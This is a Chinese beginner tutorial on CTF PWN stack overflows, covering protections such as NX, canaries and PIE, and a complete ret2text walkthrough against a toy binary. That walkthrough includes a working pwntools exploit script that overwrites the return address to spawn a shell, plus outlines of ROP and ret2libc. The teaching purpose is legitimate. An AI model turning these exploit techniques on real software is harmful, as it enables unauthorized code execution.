news 2026/9/9 15:17:53

CTF PWN入门:一文讲透栈溢出原理与Exploit实战

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CTF PWN入门:一文讲透栈溢出原理与Exploit实战

兄弟们,如果你是刚摸到CTF(Capture The Flag)的门,大概率会听到一个劝退率极高的词汇:PWN。这玩意儿听起来玄乎,说白了就是——给你一个二进制程序,让你找到它的漏洞,写一段攻击代码(Exploit),最终在靶机上拿到flag(一串证明你攻破程序的字符串)。业内有个笑话,PWN的尽头是“坐牢模拟器”,但恰恰是这种和计算机底层原理短兵相接的感觉,让它成了CTF里含金量最高、也最好玩的方向。

一篇绝对不够,我打算出一个系列,第一篇先解决“拿到题之后完全不知道从哪儿下手”的问题。这篇不堆砌高深理论,我直接把日常做题的那套流程、看题时的第一个念头、最常踩的坑,全部摊开来聊。目标是让你看完之后,拿着一道入门的栈溢出题,能自己完整跑通一遍,不光知道怎么打通,还得知道为什么这么打。这篇主要讲栈溢出,堆利用之类的后续再开篇。

1. 拿到一道PWN题,先别急着写脚本

很多新手最常见的状态是:费劲巴拉把题目附件下载下来,解压,看到一个文件,然后用记事本打开,发现是乱码,瞬间就懵了。别慌,PWN题拿到手,那个文件几乎永远是ELF格式的二进制文件,Windows下记事本当然打不开。你要做的第一件事,是先弄清楚这个文件是什么、开了什么保护,再谈其他的。

1.1 用file和checksec,三秒钟看清目标

这两个命令是我每道题的起手式。先看文件类型:

file pwn1

输出一般长这样:

pwn1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=..., not stripped

这一条信息量巨大:

  • ELF 32-bit:说明是32位程序,这意味着后续构造ROP链时参数要放在栈上,而不是寄存器里(64位程序前6个参数走寄存器)。
  • not stripped:说明符号表还在,可以直接看到main、system这些函数名,没有符号表也没关系,但有了它会省事很多。
  • dynamically linked:说明程序用了动态链接,GOT表这玩意儿必然存在,后面能做GOT劫持、ret2libc之类的操作。

接着用checksec查防护,这是pwntools自带的小工具,直接在命令行敲:

checksec pwn1

或者你在Python脚本里调用也行,输出大致如下:

Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)

这里每一项都直接决定了你的攻击路线。我后面会专门用一节来讲每个防护是干嘛的,但你现在只需要记住一个最简单的判断逻辑:No canary意味着栈上随便覆盖,No PIE意味着地址固定不用泄露。这两条占了,基本上就是一道送分题。

1.2 IDA Pro:把程序翻个底朝天

看完防护,接下来就是用反编译器看代码。CTF圈正版IDA当然好,但现在新手更常接触的是Ghidra、IDA Free、或者国产的RetDec。我自己用得最多的还是IDA,逆向分析的效率和交互体验确实舒服。打开程序后,快速定位到main函数,按一下F5,你就能看到伪代码。

这个时候,新手又容易犯一个错误:一头扎进去逐行读代码。没必要。一道PWN题的核心就一句话——找到输入点,看数据流向哪里,以及有没有危险函数。

我一般会在代码里搜索这几类函数:

  • 输入类:getsscanfreadfgetsstrcpysprintfsscanf
  • 执行类:systemexecvestrlen(长度计算逻辑漏洞)

只要看到gets,这题大概率就是栈溢出没跑了。看到printf(buf)这种格式串直接当参数传的,大概率是格式化字符串漏洞。看到mallocfree频率高的,那就是堆题。这个判断流程,基本上三分钟内能定下来。

2. 栈溢出原理:为什么覆盖一个地址就能为所欲为

咱们先别急着打题,我把栈溢出最核心的原理掰开揉碎了讲清楚。很多新手卡壳,不是因为不会用脚本,而是因为压根没搞懂“为什么随便塞一堆字符就能让程序跑飞”。

2.1 函数调用时的栈布局,就像吃完饭要找回出发的路

栈在程序运行里就是一块按“后进先出”管理的内存,每次函数调用,系统都会把返回地址(也就是函数执行完后该回到哪里继续跑的指令地址)压入栈顶。这就像你出门吃饭,出发前会在门口贴一张便利贴写下“家在XX路XX号”,吃完饭后按着便利贴回家。

当程序执行到一个函数时,栈上是这个布局(32位程序为例):

高地址 +----------------------+ | 函数参数 | +----------------------+ | 返回地址 (RET) | <- 函数执行完回到这里 +----------------------+ | 保存的EBP (SFP) | <- 旧栈底指针 +----------------------+ | 局部变量区域 | <- 这里往往是缓冲区 +----------------------+ 低地址

也就是说,局部变量存储在栈的低地址处,而返回地址在高地址处。问题来了:像gets这种函数,它不管你要它读多少字节,你给多少它读多少,一路从低地址往高地址写。只要输入足够长,缓冲区不够放,后面的内容就会一路覆盖掉保存的EBP,再覆盖掉返回地址。

2.2 控制EIP,你就控制了整个世界

CPU执行指令靠什么?靠EIP/RIP指针,它指向哪条指令,CPU就执行哪条指令。正常情况下,这个指针是你写代码时编译器安排好的。但栈溢出给了我们机会:我们把返回地址覆盖成自己构造的值,当函数执行到ret指令时,CPU会把栈顶弹出的值装进EIP,然后接着执行。

这意味着什么?意味着你可以让程序跳过某些函数、直接跳到某个你想执行的内存地址去执行。最常见的利用方式,就是覆盖返回地址为system("/bin/sh")的地址,这样程序在返回时直接弹给你一个shell。

这里插一句经验之谈:新手初学PWN时一定要亲手用GDB看一次溢出前后的栈变化,不要只看理论。你在一个缓冲区里输入“AAAA...”,到崩溃那一刻用x/20wx $esp去看栈,你会发现返回地址真真切切变成了0x41414141,那个“A”对应的ASCII码。这一刻,你就真的理解栈溢出了。

3. 保护机制,决定你用什么姿势拿shell

拿到题后checksec列出来那几个英文单词,会让很多人发怵。我挨个说,你会发现它们没那么可怕,而且它们本质上是在逼你换一种攻击姿势。

3.1 NX:栈不可执行,shellcode打不了了

NX(No-eXecute)开启时,栈上内容只有读写权限,没有执行权限。早年攻击手法简单粗暴:把shellcode塞进缓冲区,然后让EIP跳到缓冲区开头就能执行。NX一开,这种方法直接失效,你再怎么跳,CPU只会告诉你“Segmentation Fault”。

那怎么办?答案是ROP(Return-Oriented Programming)。既然栈不可执行,那就找程序已经加载的代码段里的现成指令片段,通常是一段以ret结尾的小指令(gadget),把它们拼成一个链,一步步地完成调用。比如先用一个gadget把/bin/sh字符串地址塞进某个寄存器或栈顶,再调用system函数。这个过程就是rop。

3.2 Canary:栈里头埋了个“哨兵”,动态检测你有没有越界

Canary的机制很像银行金库门口的守卫。函数开头会往栈上(缓冲区和返回地址之间)放一个随机的随机数,函数返回前检查这个值是否被篡改。如果我们暴力覆盖返回地址,这个值通常会先被改掉,程序立刻检测到异常并终止。这道防线让攻击者没法直接堆栈了。

绕过思路通常有三种。第一种是信息泄露:程序如果有输出功能,比如printf(buf)这类格式化字符串漏洞,可以先想办法把canary打印出来,然后再在构造payload时原样写回。第二种是爆破:32位canary一般是4字节,其中最后一个字节是0x00,实际爆破量有限,某些场景下可以暴力打穿。第三种是覆盖其他可写目标:既然canary拦在返回地址前,那就绕开它,去改栈上的变量、函数指针或者GOT表,走逻辑劫持的路线。具体的canary绕过,我会在系列后面的文章里详细拆,这里先知道有这回事。

3.3 PIE:整个程序地址随机化,你不能再用固定的返回地址

PIE(Position Independent Executable)开启时,程序每次运行加载基址都不同,代码段、数据段的地址全部随机化。之前你说的system地址是固定的0x8048416,这一开PIE,运行三次就有三个不同地址,你没法直接写死。

最常见的绕过方法是泄露一个已加载的地址(比如某个函数在GOT中的地址),然后用这个值和本地的基址偏移做差,推出这次程序加载的实际基址,再算出目标函数的真实地址。这又是老话重提:拿到题先看保护,有PIE意味着你必须想办法先打印一个地址出来。

3.4 RELRO:保护GOT表不被改写

GOT表是程序用来查找动态链接函数地址的一个跳板。很多高级攻击玩法,比如劫持GOT表让printf变成system,就得靠往GOT表里写东西。RELRO开得越狠,GOT表越只读。Partial RELRO说明GOT表部分可写,Full RELRO就是GOT表彻底只读。CTF入门题大多是Partial,给了我们很多操作空间。

我把防护和应对策略整理成一个表,方便你做题时对照:

防护机制状态攻击难点常用绕过思路
NXEnabled栈上代码不可执行ROP、return-to-libc
Stack CanaryFound破坏栈会触发终止泄露canary、覆盖函数指针
PIEEnabled代码段地址随机化泄露地址算出基址
RELROFullGOT表只读覆盖返回地址或劫持钩子

这四项就是PWN题最常见的大门锁。你把它们想成一道道安检,每多一道,攻击路径就绕远一点。但从另一个角度看,这四种防护并不知道你接下来要干什么,它们只是静态地检查某些条件,所以没有绝对安全的程序,只有写得不安全的代码。

4. 完整实战:一道经典的ret2text题目拆解

前面把原理讲得差不多了,我给出一道非常经典的入门题,手把手带大家完整打一遍。这道题在各大CTF入门教程里都能看到类似原型:32位程序,开了NX,没开PIE,没canary,程序自带一个后门函数。咱们的任务:利用栈溢出,劫持程序执行流,跳到后门函数拿shell。

4.1 拿到题目后的第一轮信息收集

假设题目给了我们一个名叫vuln的文件。按老规矩,先跑两条命令:

checksec vuln

输出:

Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)

完美——没canary,没PIE,NX开了但无所谓,因为我们要跳的是程序自己的代码段。再用IDA打开,看main函数的伪代码:

int __cdecl main(int argc, const char **argv, const char **envp) { char buf[64]; setvbuf(stdout, 0, 2, 0); puts("Welcome to the vuln program!"); gets(buf); return 0; }

函数逻辑一目了然:定义一个64字节的缓冲区,然后调gets(buf)gets不检查长度,这题漏洞点确认。继续在左侧函数窗口里找找,看有没有什么可疑函数。果然,看到一个叫win的函数:

void win() { system("/bin/sh"); }

完美,这题不用我们搞什么ROP链,不用leak libc,只要让程序返回到win函数就行。这类题的思路在圈里叫ret2text——直接跳回程序自己的后门函数。

4.2 计算偏移量:到底覆盖多少字节才能命中返回地址

关键一步来了:缓冲区是64字节,但这不意味着写64个字节就能覆盖返回地址。你要知道从缓冲区起始位置到返回地址之间隔了多少字节。在32位程序里,栈布局是:[局部变量(64字节)][保存的EBP(4字节)][返回地址(4字节)]。所以64字节填满缓冲区,再写4字节覆盖掉旧EBP,再从第69个字节开始写返回地址。

刚才那个是用理论推的,但每道题的编译器优化各不相同,缓冲区后面也许还有别的局部变量夹在中间,所以不要只用手算。我推荐用pwntools的cyclic功能来精确测偏移:

from pwn import * io = process('./vuln') payload = cyclic(200) io.sendline(payload) io.wait()

程序崩溃后,用GDB看崩溃点,或者直接看core dump报错:

EIP: 0x62616164 ('daab')

然后通过cyclic_find反推出偏移:

cyclic_find(0x62616164)

输出通常是76,也就是从缓冲区开始到返回地址,隔了76字节。这个流程说起来快,但我得提醒你们一件我早期踩过的坑:不要依赖题目给的“64字节缓冲区”这种描述去手算偏移,尤其是64位程序和开了优化的编译环境,栈帧和你想的往往不一样。ctu这个坑我摔了不知道多少次,后来学乖了,一律用cyclic,又快又准。

4.3 构造payload,编写第一个完整的exp

偏移量知道了,win函数的地址我再用nm命令确认一下:

nm vuln | grep win

输出:

08048456 T win

地址是0x08048456。32位程序地址固定,把返回地址覆盖成这个值就行。注意payload末尾要把地址以32位小端序写入。我直接贴完整的脚本:

from pwn import * # 设置目标 binary = './vuln' elf = ELF(binary) # 如果是远程就打远程,本地就用进程 # io = remote('127.0.0.1', 10001) io = process(binary) # 后门函数地址 win_addr = elf.symbols['win'] # win_addr = 0x08048456 # 也可以直接写死 # 构造payload: 76字节填充 + 4字节返回地址 payload = b'A' * 76 payload += p32(win_addr) # 发送并交互 io.sendline(payload) io.interactive()

简单拆解一下这个脚本:

  • ELF(binary)加载ELF文件,方便读符号地址、GOT表之类的信息。
  • p32(win_addr),这个函数会把整数地址转换成4字节的小端序字节串。因为CPU是小端模式,地址0x08048456在内存里实际存成\x56\x84\x04\x08。很多新手直接发08048456字符串,当然打不通,因为那不是字节数据。
  • io.interactive(),拿到shell之后就把双方的输入输出接起来,让你像在真实终端里一样操作。

4.4 本地打通,但别高兴太早

运行脚本,你会看到:

$

光标停在那里,说明shell已经弹出来了。输入lscat flag.txt——flag到手。

不过我要泼一盆冷水:本地打通只是第一步。同样的payload打到远程靶机上,能不能通,取决于好几件事。远程环境用的libc版本和你本地一样吗?程序启动时有没有别的初始化脚本?如果题目有TCP连接,你和程序交互的时机是否要匹配菜单流程?

这些变量是PWN题真正变难的地方。我见过太多新手在本地把exp跑得飞起,一上远程就光速红温,然后怀疑人生。别急,后面我会专门写如何应对远程环境差异,最常用的就是泄露libc地址然后从libc-database查版本,属于某些题型的基本操作。这篇先把栈溢出的基本功打牢。

5. 调试工具:没有GDB的PWN,等于盲打

有人会问,为什么我写exp总是出问题?为什么明明感觉思路对了,就是打不通?答案往往是一行:你没有真正看到程序崩溃时的现场。CVE漏洞挖掘、CTF解题、逆向分析,这三件事有一个共同的基石——调试器。在PWN里,GDB就是你的眼睛。

5.1 用pwndbg让调试体验上一个台阶

原始的GDB界面惨不忍睹,新手用它跟不上节奏。我强烈推荐装pwndbg或者gef,这两个都是GDB的增强插件,会自动帮你标出栈上的内容、寄存器的高亮、并显示反汇编代码。装上之后,调试级别直接从“瞎猜”变成“上帝视角”。

安装pwndbg也很简单:

git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh

装好后,在GDB里载入程序并设置断点,比如在gets函数返回后下个断点,然后运行并输入payload。看一眼pwndbg自动打印的栈布局,你会清楚地看到返回地址已经被覆盖成了什么值。这是排查问题是最高效的手段。

5.2 本地能通远程打不通,先查这三处

我归纳一下最常见的远程失败原因,按概率排序:

  • libc版本不一致:如果利用依赖了systembinsh这些libc里的地址,本地能打不代表远程能打。解决办法是通过程序输出leak一个地址,再对比libc数据库确定远程libc版本。
  • 攻击脚本太快:远程环境有网络延迟,极少数程序在接收数据前需要你等一下菜单打印完整。有时候程序先打印一段话,你的脚本却直接发了payload,导致数据滞留在内核缓冲区里,会被程序当作无效输入。
  • 栈对齐问题,尤其是64位程序:用system调用时,如果栈没有16字节对齐,调用会直接段错误。这种问题在本地有时也会发生,通常模式是GDB里打得好好的,直接运行就崩。为什么会这样?因为GDB的环境变量、启动参数会稍微改变栈布局。以后你看到“GDB能通,直接跑不通”时,先往栈对齐这个方向想。

调试这一块没有什么捷径,就是要多调、多试。老话讲“用功在平时”,PWN题打得多了,各种段错误的原因你基本瞄一眼就会猜个八九不离十。

6. 拓展一步:64位程序有什么不一样

很多入门的题目是32位,但真实比赛现在越来越多的PWN题是64位。如果你只会在32位下打栈溢出,那遇到64位肯定卡壳。这里我把关键差异讲清楚。

64位程序(x86-64)的寄存器容量更大,且多了一堆通用寄存器。函数参数传递规则变了:前6个整数或指针参数依次放到rdirsirdxrcxr8r9,第7个及以后的参数才放栈上。这个差异直接影响你构造ROP链的方式。

举个例子,如果你想调用system("/bin/sh"),32位程序你只要保证栈顶是/bin/sh的地址就行,而64位程序你得先找一条pop rdi; ret的gadget,把/bin/sh字符串地址弹进rdi寄存器,然后才调用system

64位的另一个坑就是栈对齐。System V ABI规定,在执行call指令之前,栈顶指针rsp必须16字节对齐。否则某些使用SSE指令的函数在调用时会崩溃。我在一次做题时,本地GDB怎么跑都通,但脚本直接跑就必然段错误,查了半小时发现就是ret跳转时栈没对齐,多冗余一个retgadget就好了。这类问题在64位动态链接程序里极其常见,大家一定记住。

6.1 快速体验:ret2libc的完整链路

本篇主要讲栈溢出的基本功,但如果只提一种利用思路的延伸,那一定是ret2libc。很多PWN题里除了漏洞点外找不到现成的后门函数,那就要考虑从libc库里调用system,前提是你得先拿到libc的基址。

流程大致这样:

  1. 程序存在格式化字符串或某种输出功能,先把某个已加载函数的真实地址打印出来,比如puts的GOT地址。
  2. 用本地libc文件(题目通常会给libc.so.6,不给就用泄露的地址去匹配库),计算目标函数和libc基址的偏移。
  3. 再次利用漏洞,构造ROP链调用system("/bin/sh"),把返回地址覆盖成libc基址+偏移得到的真实地址。

这套流程里你还会用到one_gadgetROPgadget之类的工具,以后写进阶篇再展开。

7. 给新手的几条实在建议

写到这里,该聊点“人话”了。我见过太多人上来就刷PWN题,做不出来就自闭,然后弃坑。其实PWN的入门曲线虽然陡,但它是完全可以通过正确的练习方式被踏平的。

  • 先认认真真掌握C语言和汇编基础。你连函数调用栈、指针、数组越界都没感觉,PWN对你就是看天书。我建议至少先能把C语言里数组越界的后果说清楚,再碰PWN。
  • 不一定要一上来就硬啃CTF真题,先做专门针对入门的练习平台,比如CTF-wiki上的入门题、NJUPT的OJ、Pwnable.tw的前几关。这些题目设计得循序渐进,很多还有题解。
  • 写exp时习惯性地用pwntools框架,它已经成为事实上的标准。我带的学弟学妹里,有的人手撸socket去交互,最后不仅慢还容易出错。pwntools帮你把收发数据、格式化地址、处理交互全部封装好了。
  • 遇到没思路的题,别死磕超过三小时。我给自己定的规矩是:卡住就去看别人的wp,看懂思路后自己不看题解重新打一遍。复现的过程中你会发现自己遗漏了不少细节,这个“复现“恰恰是长进最快的时候。

PWN这条路上,最宝贵的不是那些花哨的技巧,而是你面对一个问题时逐步拆解、定位、验证的耐心。下一篇我打算写格式化字符串漏洞,这是和栈溢出同等基础又经常被低估的漏洞类型,它在泄露地址这方面几乎是万能钥匙。到时候再会。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/9 15:16:59

MySQL事务机制全解析:隔离级别、MVCC、锁与Spring实践

很多后端开发对事务的认知停留在“能回滚”这一层&#xff1a;写了Transactional&#xff0c;事务就是安全的&#xff1b;语句执行失败&#xff0c;数据就会自动恢复。但真正把项目跑起来后&#xff0c;问题往往比想象中复杂——数据明明提交了&#xff0c;另一个线程却读不到&…

作者头像 李华
网站建设 2026/9/9 15:16:08

SQL IN 用法完全指南:从基础语法到性能优化与 NULL 陷阱

如果你写 SQL 已经有段时间&#xff0c;一定遇到过这种场景&#xff1a;想查某个城市的所有用户&#xff0c;条件里要匹配“北京、上海、广州、深圳”四个值。新手第一反应是写四个OR&#xff0c;老手会顺手写一个IN。但IN真的只是“多个 OR 的简写”吗&#xff1f;如果你这么想…

作者头像 李华
网站建设 2026/9/9 15:14:59

Design Compiler:解组(Ungroup)

相关阅读 Design Compilerhttps://blog.csdn.net/weixin_45791458/category_12738116.html?spm1001.2014.3001.5482 解组(Ungroup)指的是指将某一层级中的子设计&#xff08;或者说模块&#xff09;合并到其父设计中&#xff0c;通常在当前设计的层次划分不合理导致优化受限时…

作者头像 李华